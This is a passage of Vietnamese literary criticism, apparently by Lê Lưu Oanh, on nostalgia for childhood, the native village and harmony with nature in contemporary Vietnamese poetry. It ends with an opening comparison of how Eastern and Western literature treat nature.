về nơi chôn rau cắt rốn của mình, để tìm lại chính mình thưở non tơ, ngây dại,
hồn nhiên.
Thưở đó, tuổi thơ của họ sống trong cánh đồng mẹ đẹp như chiếc nôi màu
thiên thanh (Dương Kiều Minh), trong những khu vườn mang dấu ấn làng quê
ngàn năm sương khói. Trở về nguồn với Nguyễn Quang Thiều là tìm về sự hồn
nhiên trong trắng của căn nhà có cậu bé lên mười với bầy cá bơi bằng đôi cánh
đỏ, những đám mây màu vàng khổng lồ, những ngôi sao đang mọc, mọc cả
những ngôi sao mù trong im lặng kim cương… Cậu bé có một niềm tin mãnh liệt:
Ta tin có một mụ phù thủy biến ta thành một chú bê. Đó là cuộc trở về không mệt
mỏi với những câu chuyện cổ tích làm nên sự phong phú tâm hồn của con người
đã từng có một tuổi thơ đầy ấn tượng đẹp. Điều này ta càng thấy rõ trong một
loạt bài Thư Thăng long của anh trên Vietnam.net những năm gần đây.
12
Với Nguyễn Quyến, khát vọng về nguồn là tìm đến với bản chất thiên nhiên
hoang sơ nhưng đầy nhân tính, bụi bặm mà thanh khiết của con người. Thế giới
tuổi thơ đồng nhất với vườn địa đàng – khu vườn tuổi thơ. Nơi đó, chuồn chuồn
vẫn bay không thấp không cao, cỏ vẫn ra hoa không mùa không vụ, lá vẫn rơi
không khoan không nhặt, và dòng sông không đục không trong. Đó là nơi hòa
đồng tuyệt đối với thiên nhiên: Bàn tay con giấu trong nải chuối non, hai tai con
giấu trong đám mộc nhĩ, ánh mắt con giấu trong đám lựu nửa đỏ nửa xanh, trong
vườn nhà (Nguyễn Quyến).
Với Ngân Hoa, đó là những đứa trẻ cảm nhận sự nồng nàn của đất đai qua
cảm giác của bàn chân trần trên vạt cỏ: Chúng đi tìm những lỡi cày mang dáng
vầng trăng; Con mang theo trong vạt áo của mình đôi mắt trái na xanh, Đầu
tháng bảy ngập ngừng trong tán lá…
Với Bằng Vũ, đó là những trò chơi thở nhỏ: ô ăn quan, bịt mắt bắt dê, đánh
chuyền đánh chắt, rồng rắn lên mây, mặt nạ trung thu… Những trò chơi này có lẽ
chỉ còn trong kí ức, nhng nó luôn hiện về theo mỗi bước chân anh khi trở lại chốn
quê mình.
Không ít nhà thơ đã viết về làng quê của mình. Nhưng miêu tả làng quê ấy
dưới nhãn quan đồng thoại, tức một làng quê đẹp như trong cổ tích với cái nhìn
trong sáng, trẻ thơ thì không nhiều. Nhiều nhà thơ, khi ở tuổi thấm đòn của văn
minh thành thị, đã luôn hoài niệm, thương nhớ về tuổi thơ vụng dại, khát khao và
trong trẻo không bao giờ trở lại, nhưng cũng chính vì thế mà giấc mơ ấy lại càng
chói sáng, quyến rũ hơn bao giờ hết: Thơ ấu chạy trên cánh đồng tím nhạt, Giữa
nước nôi giữa bờ cỏ dầm sương,Vụng dại khát khao và trong trẻo (Dương Kiều
Minh), Nhớ đồng quê cá quẫy chiêm bao; Ta ngọn cỏ bên nhau nơi đồng cỏ, Tuổi
thơ xanh ngút ngát chân trời (Bằng Vũ). Thế giới được nhìn qua con mắt hoài
niệm nên hai lần đẹp: Một lần được khúc xạ qua lăng kính tuổi thơ, một lần qua
hoài niệm nuối tiếc. Thời gian thường nhòa đi, quá khứ và hiện tại xen lẫn nhờ sự
đột ngột xuất hiện của những kỉ niệm. Vì vậy, những hình ảnh thân thuộc bỗng
trở nên lung linh kì ảo: khu vườn cổ tích, bông súng thần tiên, lưỡi cày mang dáng
13
vầng trăng, chiếc cốc trong veo, đôi môi màu dâu chín, cơn mưa buổi chiều vàng
(Ngân Hoa).
Có lẽ, một thế giới đẹp như vậy cũng chỉ là thế giới trong mơ, trong hoài
niệm. Nhà thơ Cố Thành (Trung Quốc) cũng vậy, anh đã vẽ nên một thế giới như
mình mong muốn: đôi mắt mãi mãi không biết rơi nước mắt, tình yêu không biết
đến khổ đau, ban mai và những giọt sương biết cười… Vậy nên, thế giới đẹp như
trong cổ tích đó hay mơ ước về cội nguồn vĩnh viễn là chỉ là những giấc mơ: Thơm
giấc mơ xa (Bằng Vũ).
Gắn chặt với thế giới tiềm thức ấy là hình ảnh cố hương như những ám ảnh
không nguôi: Cố hương ấy tụ vào và tan ra. Cố hương ấy là sự ra đi và cuộc trở về:
Xa hơn nữa một mùa thu thắm đỏ, Con rắn nâu trờn qua lớp lá vàng cong, Xa hơn
nữa tôi khóc cùng mùa hạ, Khi có một tôi đâu đó quanh vờn (Nguyễn Quang
Thiều)… Hình ảnh khu vườn mẹ, nơi che chở và lưu giữ kí ức tuổi thơ: cây rơm
vàng, làn khói dịu dàng, chiều thắm, hoa dong riềng tím đỏ, hàng thủy lan, cào
cào châu chấu (Ngân Hoa). Khu vườn mẹ đẹp như giấc mơ này ta đã từng thấy
trong thơ Exênhin- hoàng hôn màu đỏ, vòm hoa trắng xóa mảnh vườn xuân, hoa
mùa hè tỏa ngát hương; trong văn của Juan Ramon Jimenez (Tây Ban Nha) với
khung cảnh thanh bình yên ả và nguyên sơ tựa như chỉ có trong giấc mơ: Một
đám mây đen lớn, giống như con gà mái khổng lồ đẻ trứng vàng, đẻ ra một vầng
trăng trên đồi, làng mạc cô tịnh với cây và bóng cây, chỉ nghe toàn ca khúc của dế
và tiếng dạ đêm của những con nước ngầm, những cánh đồng trồng đậu. ở đó có
những bầy ong vàng cánh đen lách tách trong khóm nho (Con lừa và tôiJ.R.Jimenez). Một thế giới trong lành, hiền hòa và sạch sẽ.
Trong sự trở về này, con người luôn hòa nhập với thiên nhiên, lắng nghe
những tiếng nói sâu thẳm của thiên nhiên với niềm tin thiêng liêng: vạn vật hữu
linh. Con người tìm ở đó không chỉ chính mình mà còn cả những giá trị tinh thần
làm nên chính thế giới tinh thần họ.
Chỉ có trong đối sánh, hòa nhập với thiên nhiên, con ngời mới trở lại bản
chất hồn nhiên trong nhân cách chính mình. Thiên nhiên đẹp như thực như mơ
14
ấy, những giá trị vĩnh cửu thân quen và sự trẻ trung và tinh khôi của nó để lại dấu
ấn vĩnh cửu về tâm hồn nguyên sơ, bản thiện.
Đó là cảm giác tìm thấy mình trong tự nhiên. Con người vô tư diễn tả
những cảm giác tự nhiên, buông thả mình trong thiên nhiên, gần gũi với đất trời:
Ta ngọn cỏ bên nhau nơi đồng cỏ, Tuổi thơ xanh ngút ngát chân trời, Em chân
trần chạy giăng khắp bãi, Gió bóc ngô non thơm bãi ngoài (Bằng Vũ). Nơi đó con
người đồng nhất mình với thiên nhiên trong cảm nhận sự sinh sôi nảy nở của đất
đai, loài vật bằng tất cả giác quan, một giác quan không phải chỉ của con người mà
là giác quan tạo vật: cảm giác của cỏ cây, côn trùng, trăng nước, đồng bãi: Ta hít
mãi mùi cỏ loang loáng nước, Nghe mái rạ mơ màng ngủ nói mê; Thuở ngực đồng
non tựa vai, Hồi hộp đợi mưa về; Trăng cào ổ lá, Vàng ổi đường thơm (Bằng Vũ).
Họ cảm nhận được mùi đất ẩm, linh hồn những hạt mầm mệnh yểu, tiếng rống
khàn khàn của những luống cày úp mặt (Nguyễn Quang Thiều), nghe tiếng lắc lắc
những cành khô vặn mình đang vụn gẫy, hạt mướp hương cựa mình tỉnh giấc
(Ngân Hoa). Đây chính là sự quyến rũ của ngôn ngữ cảm giác. Theo Z. Heinade,
những cảm xúc mang tính nguyên sinh thường bắt đầu bằng các giác quan. Con
người khi đắm mình trong thế giới và cảm nhận thế giới bằng các giác quan – đó là
kinh nghiệm bên trong- dẫn đến những mối liên hệ với tinh thần, cái thiêng liêng,
cao hơn thế giới vật chất và sự tồn tại trần thế (6). Chính những ngôn ngữ cổ xa
và nguyên thủy của cảm giác: hương thơm, sắc màu, âm thanh, mùi vị…, đã kết
nối con người với quá khứ một cách hữu hiệu nhất.
Một trong những con đường hòa vào thiên nhiên một cách rất bản năng là
thông qua ngôn ngữ loài vật. Loài vật làm đa con người trở về tuổi thơ một cách
tự nhiên, ngây thơ và giàu trí tưởng tượng. Bởi đó là sự năng động của thế giới tự
nhiên: Những con sẻ nâu tha rơm về làm tổ, Lũ trẻ chạy giữa bầy châu chấu xanh,
Chúng đốt rạ, đàn chuột đồng cay mắt; đàn sẻ giật mình, đám cới chuồn chuồn
kim, lũ ếch dại khờ (Ngân Hoa). Trò chuyện với loài vật, là trạng thái hòa nhập vào
thiên nhiên tuyệt đối. ở đây ta thấy có sự giao thoa với J.R.Jimenez: ngời và vật
gắn bó với nhau nh đôi bạn, cùng mơ những giấc mơ giống nhau, cùng chia sẻ
lòng yêu thơng những vẻ đẹp phù du nhất: Kìa Larô, thúy yến của bọn trẻ sáng
nay chết trong lồng bạc rồi. Ta buồn, Larô ơi, đẹp làm sao, quả lựu đây này!
15
Sự chú ý tới loài vật trong thơ Nguyễn Quyến dường như là việc quay trở về
với con người tự nhiên cùng cái nguyên sơ thanh khiết và bụi bặm, thấy trong bản
tính con người luôn có bản tính loài vật bởi con ngời là kết tụ của các tinh hoa
cũng như phần thô nháp, dữ dằn của thiên nhiên: Mẹ nhặt con từ tiếng gà thảng
thốt, Mẹ nhặt con từ tiếng tru gầy guộc của con chó con (Nguyễn Quyến). Có phải
vì con người luôn ước ao tìm về cội rễ trong tự nhiên đã sinh ra mình ?
Loài vật còn giúp thể hiện một cảm quan đặc biệt, đánh thức phần tâm linh
sâu thẳm con người. Trong thơ Bằng Vũ, có rất nhiều hình ảnh, âm thanh của các
loại côn trùng. Thứ ngôn ngữ côn trùng này, như dựng lại một thế giới tâm linh
sâu thẳm không dễ dàng được biểu đạt. Có lẽ, khi tư duy bị đình trệ trong nhận
thức về tự nhiên, thì chỉ có trực giác mới có thể giúp con người thâm nhập những
bí ẩn của vũ trụ, bởi “một sự chuyển động nhỏ nhất của không khí cũng là sự
chuyển động của linh hồn chúng tôi” (7). Đó là những cảm nhận về sự nở sinh
mãnh liệt của đất trời, là bước đi thầm lặng mà hân hoan của mùa vụ, là niềm
quyến luyến ngất ngây của tạo vật, là mọi cung bậc âm thanh, hương sắc, mùi vị
của đồng bãi quê hương, là tiếng vọng của quá khứ: Anh lẫn vào cỏ, Lẫn vào khúc
đồng dao giun dế, …, Theo dòng chảy thời gian, Mùa nở sinh trứng cá, Anh lẫn
vào bọt trứng nổi trôi; Ta lạch về từ nguồn mưa, Quả trứng rơi vòng số phận, Linh
hồn trước khi mọc cánh, Quẫy đuôi trong dạ biển tròn. Đây chính là khúc đồng ca
Dương thế mà anh không nguôi khao khát hòa nhập. Có những cảm xúc sâu thẳm
nhất, chỉ có thể diễn đạt gián tiếp qua loại hình ngôn từ trực giác này: Thả thuyền
trăng giữa sông trời xa, Thả bèo sao trôi giạt Ngân Hà, Thả hương mùa về căng
áo sữa, Thả mắt tìm tăm bọt cá, Người đi…; Buồn trong trứng nhện buồn ra,
Giăng tơ gặp hạt sương sa rụng vào; Mỗi chiều sơng giăng cánh đồng cỏ mọc,
Mỗi đêm âm thanh mênh mang liên tục, Lòng đất mở ra tai mắt côn trùng; Ta như
cánh kiến bò ngược cành non, mỗi lần ái ân một lần phải chết; Không em, Anh lạc
giữa loài người, Anh lẫn vào sâu bọ, Anh ở cùng giun dế … Thế giới ấy vừa thực
vừa không thực, như những cung bậc mơ hồ, xa xôi, thầm kín, khó giải mã nhất.
Và trong thế giới ấy, con người và các sinh vật khác bình đẳng cùng tạo hóa.
Loài vật còn là hiện thân của con người và là sự đối trọng giữa một thiên
nhiên hoang sơ, hồn nhiên ngây dại với nền văn minh công nghiệp trong nhịp điệu
16
đời sống thị trường và nhân tính thời thực dụng. Trong thơ Nguyễn Quang Thiều:
hình ảnh bầy kiến đen bò qua bàn tiệc lúc tàn là biểu tượng cho con người trong
đời sống sinh tồn nhọc nhằn. Rồi những ngời đàn bà vác dậm như những con cào
cào khuất dần sau đám cỏ. Đó là những kiếp người hoang sơ không dính dáng gì
đến văn minh hiện đại. Loài vật trong thơ anh như là sự đối chiếu xem xét lại khả
năng nhân tính của con ngời thười hiện đại, là sự trở lại của các bản năng thô sơ
vừa mang tính dữ vừa mang tính thiện của con ngời.
Tiếp đến là niềm khát khao một đời sống tự nhiên không ràng buộc. Nền
văn minh công nghiệp, bên cạnh những ưu thế rất rõ, còn dẫn đến con người đến
niềm tin mù quáng vào công nghệ, đến trạng thái bất an thường trực: ô nhiễm,
thiên tai, dịch bệnh, hỏa hoạn…luôn rình rập, bủa vây Quay trở lại, tìm đến đời
sống tự nhiên chính là một cách phản ứng với cuộc sống bất an thời hiện tại, vừa
thể hiện cuộc sống khát khao không ràng buộc. Vì thế, các nhà thơ thường thấy
mình trong sự hòa tan của trời đất: Em thả thu cuối nước, úp mặt sông nghe chiều
đi (Bằng Vũ); Em chạy qua những dòng sông, cánh đồng, ngôi nhà lá, qua đất đai
âm ẩm hạt mầm (Ngân Hoa). Những trạng thái vốc cát ấp vào mặt, đứng vùi chân
trong cát, nước mắt buồn bay ướt triền sông, mặt người nhòa vào mặt cây, ngã
xuống sông chảy xiết, bước những bước chân trần… là niềm mong muốn cởi bỏ
những công thức, quy ước cứng nhắc, được thể hiện chân thật là mình, được
thấm đẫm trong tự nhiên, ngập chìm trong thế giới nguyên sơ, hoang dại.
Đến cả con người hiện ra cũng thường trong trạng thái trường cửu cổ sơ,
mang dáng vẻ hình hài như lúc cha mẹ sinh ra: Em vô tư một thời như mưa, Trần
truồng cùng cây cỏ, Những giọt mưa rơi xuống ta, Tinh khiết không dối lừa (Bằng
Vũ). Trong dáng vẻ đó, con người như cân bằng với tự nhiên, thanh sạch và bình
đẳng giữa tự nhiên.
Khát khao về cuộc sống tự nhiên không ràng buộc còn thể hiện bởi những
từ ngữ mang tính chất mơ ước: đợi chờ, hy vọng, niềm tin, mơ mơ, tự do hát
vang: tự do cao lớn, bất chấp những tị hiềm xứ sở, chỉ những gì một đi không trở
lại-làm nên vẻ đẹp cõi người (Dương Kiều Minh); khát thèm, chạy trốn những
khuôn mặt hình tivi, những chiếc caravát, những đôi giày đen, những kế hoạch,
17
những chữ kí, chạy trốn tiếng gõ cửa, chìa khóa, bát đĩa và sách dạy nấu ăn, chạy
trốn điện thoại, xalông mút, lễ sinh nhật, chạy trốn seduxen, anagin, thuốc kháng
sinh mạnh (Nguyễn Quang Thiều). Nghĩa là chạy trốn nền văn minh hiện đại và
những hệ lụy của nó.
Niềm khát khao gìn giữ những vẻ đẹp tự nhiên gắn với chiều sâu văn hóa và
tâm linh. Trong thơ, đó là niềm hoài niệm không nguôi về làng quê, nơi gìn giữ
những kỉ niệm ấu thơ và một nền văn hóa cổ xưa mang nhiều giá trị tinh thần:
Mai khôn lớn quên cười quên khóc, Sao cha nguôi thương nhớ đồng quê; Quê tôi –
hồn cào mặt đất, Hương trong, Ngây ngất trần gian (Bằng Vũ). Dạo này, tôi đã
được đọc khá nhiều tản văn đồng điệu, khóc thương những cánh đồng rau khúc,
những dòng sông, những mùa sen, những cây thị… như những giá trị tinh thần
của một thiên đường tuổi thơ đã mất.
Bên cạnh đó, từ chỗ đứng của một nền văn minh khác, văn minh hiện đại,
các nhà thơ nhìn thấy tình trạng đáng thương của kiếp sống thôn quê, nơi có
những con ngời nghèo khó, bất lực, đang sống kiếp đời tự nhiên ngây dại: Những
người đàn bà gánh nước sông, Những người đàn bà xuống bến, Những ngón chân
xương xẩu, Móng dài đen và tõe ra như những móng chân gà mái, một bàn tay
của họ bám vào đầu gánh bé bỏng, chơi với, bàn tay kia bấu vào mây
trắng….(Nguyễn Quang Thiều). Trong tập Bài ca những con chim đêm của anh,
con người bị vò xé bởi thế gian dung tục, tội lỗi. Ở đó, con người đánh mất nhiều
thứ, mất dần bản tính thực: làng quê trong màu trắng đơn điệu đồng loạt của
những bức tường, dòng nước hiền lành trở thành quái vật rùng rợn, cây xanh bị
chặt nát… Những tiếng chim đêm – tiếng ca trong giấc mơ mong manh của bầy trẻ
trở thành tiếng chim khai sáng khiến thế giới như bừng tỉnh và những giá trị trinh
nguyên ban sơ như được phục sinh thoát khỏi những tha hóa, ảo tưởng và ngộ
nhận, nó là tiếng nói của cái đẹp, chất thơm của sự thanh bình trong sạch. Ngôn
ngữ đồng thoại đã giúp nói lên những khát khao nhân bản này.
Trở lại với quê hương, với tự nhiên, đó là con đường gìn giữ nhân tính của
con người.
***
18
Bằng cái nhìn trong sáng, hồn nhiên, chân thực, các nhà thơ đã thể hiện cấu
trúc thế giới đồng thoại: thế giới hiện lên với tất cả những gì lung linh, tươi mát,
lộng lẫy, một đời sống thú vị, mà cái gì cũng mang tính lí tưởng và tỏa sáng từ bên
trong, trả lại cho thế giới cái bộ mặt thật ban đầu của nó, trả lại cho chủ thể trữ
tình cái nhìn trong trẻo, tinh khiết về cuộc đời.
Tiếng nói đồng thoại là tiếng nói phản ứng lạ: chối từ lối tư duy công thức,
sáo mòn, bộc lộ phần duy cảm rất mạnh. Đó không phải là một hướng đi tích cực
theo quan niệm nhà thơ phải dấn thân… Nhng nó mới đích thực là thơ – thứ nhạc
điệu trong sáng, lung linh, thuần khiết nhất của tâm hồn của con người.
Chú thích :
1, 2. Phạm Quang Vinh, Chagall. Nxb Kim Đồng, HN, 2001, tr. 17-24
3, 4. Phạm Quang Vinh, Rousseau. Nxb Kim Đồng, HN, 2002, tr. 3-14
5. Trần Đình Sử (dịch và giới thiệu), Cố Thành, TC Văn học nớc ngoài,
5/1996
6, 7. Z.Heinade, Sự quyến rũ cảm giác của ngôn từ trong “Cuộc đời
Arseniev- Thời thanh xuân” (Bunin), TC Những vấn đề văn học, Nga, 1/2009
( Bài đã đăng trên Tạp chí Diễn đàn văn nghệ Việt Nam, tháng 11- 2010, số 190)
Triết lý về thiên nhiên trong thơ hiện nay
19
Lê Lưu Oanh
Thiên nhiên là môi trường tự nhiên của xã hội, mối quan hệ với thiên nhiên
của con người không những mang tính hợp lý hết sức thực tiễn mà còn mang tính
xúc cảm đạo đức thẩm mĩ sâu sắc. Thiên nhiên vừa biến hóa không ngừng vừa
tuần hoàn vĩnh cửu, mang mọi dáng vẻ của quá trình lưu chuyển đời sống con
người: vừa vận động, biến suy, vừa bất biến vô hạn. Vì vậy, coi thiên nhiên như
một phần thân của con người là một cảm quan mang tính nhân loại.
Trong thơ trữ tình phương Đông, thiên nhiên được coi là một vũ trụ lớn, cõi
tâm linh con người là một tiểu vũ trụ, vì vậy, cách thống nhất cái hữu hạn và bản
thân mình với cái vô hạn của trời đất là một cách xác định phong thái tồn tại trong
vũ trụ, hiện diện cái cảm quan của con người in dấu trên trời đất. Tiếp nối quan
niệm truyền thống đó, con người hiện đại vẫn tìm thấy mình trong dòng chảy của
tự nhiên, diễn tả thiên nhiên như thực chất là diễn tả sự vận động và dáng vẻ của
tâm hồn. Thiên nhiên trong thơ Xuân Quznh rất đẹp, có gió, cát, màu nắng, màu
mây, có buổi chiều sặc sỡ như thêu, có mùa hoa phượng rơi hồng mái phố, có
bông cúc xanh, có hoa tường vi tím nhạt… nhưng không đơn giản là thiên nhiên
khách quan, mà cái vĩnh cửu của nó là chỗ dựa cho sự bình yên, là sự chở che, là
điểm tựa của tâm hồn, là nguồn thôi thúc khát vọng của cảm xúc về cái đẹp, về
hạnh phúc, về tình yêu. Thiên nhiên ấy như thực như mơ nhưng sức sống của nó,
sự tuần hoàn vĩnh cửu trẻ trung và tinh khôi của nó nói hộ bản chất nữ tính muôn
đời của người phụ nữ ấy: dù đã qua bao niềm đau đớn, qua nỗi đau buồn dồn nén
xuống đáy tâm tư, nhưng tâm hồn chị không trở nên chai sạn, tàn nhẫn, khắc
nghiệt mà vẫn là con người dịu dàng, nhân hậu, sống hết mình, yêu hết mình:
Lòng như trời biếc lúc nguyên sơ; Trái tim ta như nắng thuở ban đầu; Vẫn còn
20
nguyên vẹn niềm yêu, Như cây tứ qu{ đất nghèo nở hoa; Quả ngọt ngào thắm
thiết vẫn màu hoa; Như chưa hề có nỗi đau xưa; Như chưa hề biết đến tàn phai.
Thiên nhiên ấy đã để lại dấu ấn vĩnh cửu của sự bắt đầu: vẫn trong trẻo, vẫn rạo
rực, vẫn mong chờ, vẫn cháy sáng… Chính vì vậy, thơ tình yêu của chị không hề
hạn hẹp, khép kín bởi nó tìm đường đến gần thế giới muôn đời qua sự thống nhất
quá khứ – hiện tại – tương lai, khoảnh khắc – muôn đời, sự tuần hoàn lặp đi lặp lại
của thế giới.
Con người chú ý tới thiên nhiên như một phút lặng, phút hồi tưởng, phút
lãng quên mọi ưu tư trong nhịp sống ồn ào, vội vã của dòng chảy cuộc đời, để
hướng tới cái cao đẹp, cái thanh khiết, cái chất thơ của đời sống. Đây không phải
là sự thoát ly, chạy trốn mà là một cấu trúc khác về quan hệ với thiên nhiên, là sự
trở về giá trị vĩnh cửu, thân quen của tự nhiên, là ý thức về môi sinh và sinh thái.
Thơ Ngô Văn Phú viết nhiều về quan hệ này. Sau khi tiếp xúc văn minh thị thành,
với khung cảnh đường về phố bụi mù, chật chội, anh thèm khát mở lòng về một lá
chua me, một sóng hồ, một tiếng chim tu hú, anh mới hiểu đích thực cái thủy
chung say đắm của mình là vùng quê của riêng anh. Say là một trong những trạng
thái của vẻ đẹp giao cảm giữa người và cảnh. Người say cảnh, cảnh say người.
Dưới con mắt người say cảnh ấy, cảnh vật cũng biết mời mọc, chào đón, yêu
đương và tình tự: Tháng tư xanh ngắt và giông bão, Là tháng yêu thương tháng
phải lòng; Mưa tháng giêng lặng thầm quyến luyến; Chao ơi muôn vật trong trời
đất, Cỏ cây còn biết phải lòng nhau. Có phải điều này gần gũi với { tưởng: Xin hãy
cho mưa qua miền đất lạnh, ngày sau sỏi đá cũng cần có nhau (Trịnh Công Sơn).
Một triết lý nhân sinh phổ biến.
21
Chú ý tới thiên nhiên là quay trở về tình cảm quê hương, đất nước, một
tình cảm lâu bền như lịch sử loài người với nguồn mạch xúc cảm thiêng liêng
không bao giờ cạn. Từ ngọn khói lam chiều trong thơ Malacmê, khói sóng trong
Hoàng Hạc lâu, cánh chim trong nỗi nhớ nhà của chàng Uylitxơ, giọng nói quê nhà
trong Đăngtê, cái háo hức “về đi” của Đào Tiềm, Nguyễn Trung Ngạn, nỗi u hoài cố
hương của Lỗ Tấn, đến khúc dân cư làm xao động tình quê hương của Gôgôn, tình
yêu quê hương luôn là một cách khẳng định về tồn tại người giữa thân quen trong
mối dây ràng buộc với tự nhiên. Các nhà thơ tìm về quê hương như nơi cứu rỗi
tâm hồn: Mang quê hương như viên ngọc trong hồn (Nguyễn Sĩ Đại), như gốc rễ
gắn bó con người với cội nguồn: Trung du, thì đấy là xứ sở, tôi sinh ra bằng thịt da
người (Trần Quang Qu{). Con người tìm đến vẻ đẹp của thần hồn quê hương đất
nước trong mối tương giao với những khao khát cân bằng của tinh thần. Những
mô típ trở về cội nguồn, trở về nguyên sơ, tìm lại chính mình trong cái vĩnh cửu
của tự nhiên là những mô típ phổ biến (Ánh trăng, Xuồng đầy, Trăng sông Tiền,
Ông già sông Hậu, Cầu Bố – Nguyễn Duy; Hoa cúc xanh, Hoa tường vi, Cố đô, Hoa
dại Hoàng Liên Sơn – Xuân Quznh; Mùa thu chưa tới, Rau me đất, Quảng Bình, Về
Thái Nguyên, Trung du – Ý Nhi).
Từ đó dẫn đến ý thức về con người tự nhiên. Xu hướng trở về con người tự
nhiên là phản ứng cự tuyệt niềm tin mù quáng vào khoa học và công nghệ. Bản
thân sự can thiệp thái quá của công nghệ l{ trí vào lĩnh vực tình cảm đang kích
thích sự thăng hoa của { đồ buông thả mình trong tự nhiên. Bởi lẽ, khoa học và
công nghệ không nói cho con người biết { nghĩa cuộc sống là gì. Con người phải
hiểu nó qua các giá trị tinh thần khác. Theo khoa học hiện đại, đây là quá trình hồi
cố. Con người phải tự xác định lại mối quan hệ với thiên nhiên. Trước hết, phải
22
tồn tại con người của thiên nhiên. Đó là sự trở lại của con người đối với thiên
nhiên, đến với sự vận động trong im lặng, sự nhạy cảm và chặt chẽ của thiên
nhiên, sự bình yên vĩ đại đối lập với nỗi khiếp sợ, bất an và vô vọng của nỗi đảo
lộn hỗn loạn, hối hả trong xã hội con người. Trong thơ, đó là sự trở về với bản
tính hồn nhiên hơn, buông thả hơn, không lên gân. Đây cũng là sự đối nghịch lại
bản chất xã hội vốn được đề cao trong cấu trúc nhân cách con người. Có lẽ, vì vậy
mà trong thơ hiện nay xuất hiện loại thơ muốn trình bày rõ rệt những cảm giác tự
nhiên, mạnh mẽ của con người về thế giới, những tư thế muốn buông thả mình
trong thiên nhiên, trong sự gần gũi với đất trời sông biển, một cảm giác “về mình”
tìm thấy mình trong tự nhiên, một trạng thái “hòa tan” mình trong vũ trụ, một
trạng thái không cần đến sự cân bằng của lý trí mà tràn ngập cảm xúc:
Hồ ơi ta muốn tan thành nước
Để biết được ta là ai…
(Hồ trên cao nguyên – Nguyễn Chí Hoan)
Bỗng nhận biết khi về miền đất cũ
Khi con tàu đã đi qua chỉ mình ta ở lại
Và sững sờ chính đất của mình đây
(Quảng Bình – Ý Nhi)
Mây trắng bay đi cùng với gió
Lòng như trời biếc lúc nguyên sơ
(Hoa cỏ may – Xuân Quznh)
23
Sương khói xa mờ đôi bờ thức ngủ
Con cá nào quẫy động giấc chiêm bao
Cúi đầu xuống, gặp chân mình lấm đất
Ngửa mặt lên trăng sáng cứ ngọt ngào
(Trăng sông Tiền – Nguyễn Duy)

( Trích sách Thơ trữ tình Việt Nam 1975-1990. Lê Lưu Oanh. Nxb Đại học
quốc gia, Hà Nội, 1998 )
Cảm hứng về con người và thiên nhiên trong văn học
phương Đông và phương Tây
Lê Lưu Oanh
Có thể bước đầu nhận thấy nét khác biệt cũng như tương đồng trong cảm
hứng chung về con người và thiên nhiên của văn học phương Đông và phương Tây.
Con người sống hài hòa với thiên nhiên
Thiên nhiên là môi trường sống của con người, mối quan hệ với thiên nhiên
của con người không chỉ mang tính thực tiễn mà còn mang nội dung thẩm mĩ sâu
24
sắc. Thiên nhiên vừa biến hóa vừa tuần hoàn y như quá trình lưu chuyển đời sống
con người: vừa vận động đổi thay, vừa bất biến vô thủy vô chung, chính vì vậy
trong quan hệ với thiên nhiên, con người xác định được những cung bậc của đời
sống và cả tâm hồn mình.
Với đời sống nông nghiệp, cách thức canh tác phụ thuộc vào thiên nhiên từ
lâu đời, đã tạo cho con người nếp sống duy cảm và gắn bó mật thiết với môi
trường tự nhiên. Thiên nhiên đó gắn liền với đời sống sinh hoạt và đời sống tâm
hồn, là nơi trao gửi tâm tình, là tấm gương phản chiếu đời sống nội tâm phong
phú và phức tạp. Thiên nhiên trong văn học phương Đông, đặc biệt là thơ trữ tình
xuất hiện từ rất sớm, đảm nhiệm chức năng phản ánh thế giới tâm hồn người.
Con người luôn tìm thấy mình trong dòng chảy của tự nhiên, miêu tả thiên
nhiên là miêu tả sự vận động của tâm hồn (Sen tàn cúc lại nở hoa. Sầu dài ngày
ngắn đông đà sang xuân – Nguyễn Du). Với đời sống tình cảm nội tâm sâu sắc, bí
ẩn của người phương Đông, với cuộc sống trông chờ vào thiên nhiên, con người
thường tìm đến sự hòa đồng với thiên nhiên trong nhịp điệu bình yên của nó (Núi
láng giềng, chim bầu bạn. Mây khách khứa, nguyệt anh tam – Nguyễn Trãi; Xem
sách chim rừng vào cửa đậu. Phê văn hoa núi chiếu nghiên son – Hồ Chí Minh).
Thiên nhiên là nơi an ủi, nơi trở về, là người bạn độ lượng, thủy chung, là tấm
lòng bao dung, tin cậy chở che khi con người rời xa môi trường xã hội đầy rẫy bon
chen, danh lợi, hỗn độn và xấu xa (thơ Khuất Nguyên, Đào Tiềm, Vương Duy,
Nguyễn Bỉnh Khiêm, Nguyễn Khuyến). Thiên nhiên là phút lãng quên, thư giãn sau
nhịp sống ồn ào, vội vãm, khẩn trương (Việc quân việc nước đã bàn, Xách bương
dắt trẻ ra vườn tưới rau – Hồ Chí Minh). Coi thiên nhiên là một phân thân của con
người, là hình ảnh của đời sống tinh thần, cảm hứng sống hài hòa với thiên nhiên
25
trong quan niệm “thiên nhân hợp nhất” do đó là cảm hứng lớn nhất, lâu bền nhất,
bao trùm nhất về thiên nhiên của con người phương Đông.
Trong văn học phương Tây, đến thế kỷ 17, thiên nhiên vẫn còn ít được chú
{. Thái độ duy lý, kết quả của nếp sống thương mại và công nghiệp, khiến trong
văn học, thiên nhiên như tấm gương phản chiếu những sắc thái tinh vi của tình
cảm chưa được chú trọng. Trước khi chủ nghĩa lãng mạn xuất hiện, thiên nhiên
thường được quan tâm chỉ như là bức tranh về môi trường sống. Cảm quan sống
hài hòa với thiên nhiên không phải là cảm quan mỹ học phổ biến. Phải đến văn
học lãng mạn và hiện thực thế kỷ 18, 19 chúng ta mới gặp những hình tượng thiên
nhiên gắn liền với đời sống tâm hồn con người. Đó là hình ảnh thiên nhiên trữ
tình thơ mộng, vô sự của Rutxô, là hồ nước bình lặng của Lamactin, là tấm lá rụng
của Veclen, là đỉnh gió hú man dại của E.Bronti, là cây sồi bên đường, là đêm
trăng của L. Tolstoi, là thảo nguyên mênh mông trơ trọi của Tsekhov… Con người
phương Tây bắt đầu tìm đến thiên nhiên để tìm về chính mình.
Thiên nhiên là môi trường sống, là nơi thử thách và khẳng định con người
Thiên nhiên là cội nguồn của những gì tốt đẹp nhất trong đời sống con
người. Trong sử thi Ấn Độ, người Ấn cổ xưa đã coi thiên nhiên như cội nguồn phát
sinh của con người cao qu{, văn minh và trí tuệ. Thái tử Rama, trước khi lên ngôi
vua đã vào rừng sống mười bốn năm, ở trong nhà bằng lá cây, ăn củ quả, uống
nước suối, bầu bạn với thú rừng. Vợ của Rama, nàng Xita xinh đẹp, người phụ nữ
cao quý, trinh bạch mà lửa thiêu cũng phải khuất phục, cũng là đứa con của thiên
nhiên, được sinh ra từ một luống cày, “chỉ có đất là mẹ nàng”. Trong kho tàng các
